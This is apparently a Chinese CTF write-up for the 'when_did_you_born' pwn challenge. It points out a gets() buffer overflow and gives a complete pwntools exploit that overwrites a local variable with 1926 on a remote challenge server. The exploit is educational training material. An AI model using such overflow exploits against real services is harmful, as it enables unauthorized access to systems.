image.png
0x00 基本file和checksec(打码打码,看不到看不到)
image.png
0x01 ida查看
image.png
- 24行存在
gets
漏洞
- 程序逻辑是第一次输入不能是1926,第二次输入利用缓冲区溢出将v5覆盖成1926即可
0x02 构造payload,完整exp
from pwn import *
local=0
pc='./when_did_you_born'
aslr=True
context.log_level=True
context.terminal = ["deepin-terminal","-x","sh","-c"]
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 57415]
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
if __name__ == '__main__':
rl()
payload1 = '10'
sl(payload1)
rl()
payload2 = 'aaaaaaaa' + p64(1926)
sl(payload2)
rl()
rl()
p.interactive()
0x03 结果
image.png
网友评论